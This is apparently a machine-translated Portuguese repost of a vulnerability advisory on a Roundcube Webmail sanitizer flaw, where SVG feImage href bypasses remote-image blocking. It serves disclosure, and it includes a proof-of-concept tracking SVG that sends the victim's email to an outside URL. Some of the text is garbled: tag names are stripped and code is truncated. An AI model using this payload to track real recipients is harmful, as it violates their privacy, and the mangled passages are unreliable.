Roundcube Webmail

PUBLICIDADE

Roundcube Webmail

O sanitizador de HTML do Roundcube não trata SVG feImage href como uma fonte de imagem. Os invasores podem ignorar o bloqueio remoto de imagens para rastrear aberturas de e-mail.

DR: Cubo redondo rcube_washtml desinfetante bloqueou recursos externos em , e mas não em . Isso é href passou pelo caminho de código errado e foi autorizado. Os invasores podiam rastrear aberturas de e-mail mesmo quando “Bloquear imagens remotas” estava ativado. Corrigido em 1.5.13 e 1.6.13.

Informações sobre vulnerabilidade

CampoValor
FornecedorCubo redondo
ProdutoWebmail Roundcube
Versões afetadas<1.5.13, 1.6.x <1.6.13
Fixado em1.5.13, 1.6.13
Data de divulgação08/02/2026

Fundo

Quando allow_remote for falso, o desinfetante do Roundcube intercepta atributos de imagem (src sobre , href sobre e ) e os executa is_image_attribute(). Essa função bloqueia URLs externos.

Separadamente, URLs que não sejam de imagem (como ) passar wash_link()que permite a passagem de URLs HTTP/HTTPS. Isso é bom para links nos quais o usuário clica intencionalmente.

Descoberta

Fiquei entediado durante minhas férias de Natal e essa correção de XSS baseada em SVG por meio do animate tag apareceu no meu radar. Um bug SVG geralmente significa mais. Então passei algumas horas analisando rcube_washtml.phpobservando quais elementos SVG entraram na lista de permissões e como seus atributos são tratados e higienizados.

se destacou. Isso é href é buscado na renderização, da mesma forma que . Mas o desinfetante envia através wash_link() em vez de is_image_attribute().

Portanto, a configuração “Bloquear imagens remotas” não se aplica a ele.

Detalhes técnicos

Em wash_attribs()cada atributo atinge uma cadeia de verificações. O primeiro que corresponder ganha:

rcube_washtml.php

if ($this->is_image_attribute($node->nodeName, $key))  elseif ($this->is_link_attribute($node->nodeName, $key)) 

Antes da correção, is_image_attribute() ficou assim:

rcube_washtml.php

private function is_image_attribute($tag, $attr)

O href atributo é correspondido apenas para use e image. Não feimage.

E is_link_attribute() é um pega-tudo:

rcube_washtml.php

private function is_link_attribute($tag, $attr)
{
    return $attr === 'href';
}

Então, quando o desinfetante encontra : is_image_attribute('feimage', 'href') retorna falso, is_link_attribute('feimage', 'href') retorna verdadeiro e o URL passa wash_link() que passa URLs HTTP/HTTPS diretamente.

Prova de conceito

Um SVG 1×1 invisível, posicionado fora da tela:

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://httpbin.org/image/svg?email=victim@test.com"
               width="1" height="1"/>
    filter>
  defs>
  <rect filter="url(#t)" width="1" height="1"/>
svg>

O navegador avalia o filtro SVG e dispara um GET para a URL do invasor.

Impacto

A configuração “Bloquear imagens remotas” não bloqueia esta imagem remota. Um invasor pode confirmar que você o abriu, registrar seu IP e imprimir a impressão digital de seu navegador.

A correção (26d7677) colapsa os dois separados use/image verifica em um único regex que inclui feimage:

rcube_washtml.php

|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG

Agora sucessos is_image_attribute() primeiro, é roteado wash_uri()e o URL remoto será bloqueado.

Atualize para 1.5.13 ou 1.6.13.

Linha do tempo

DataEvento
04/01/2026Reportado ao Roundcube
08/02/20261.5.13 e 1.6.13 lançados
08/02/2026Esta postagem

Fonte: theverge

Mais recentes

PUBLICIDADE

WP Twitter Auto Publish Powered By : XYZScripts.com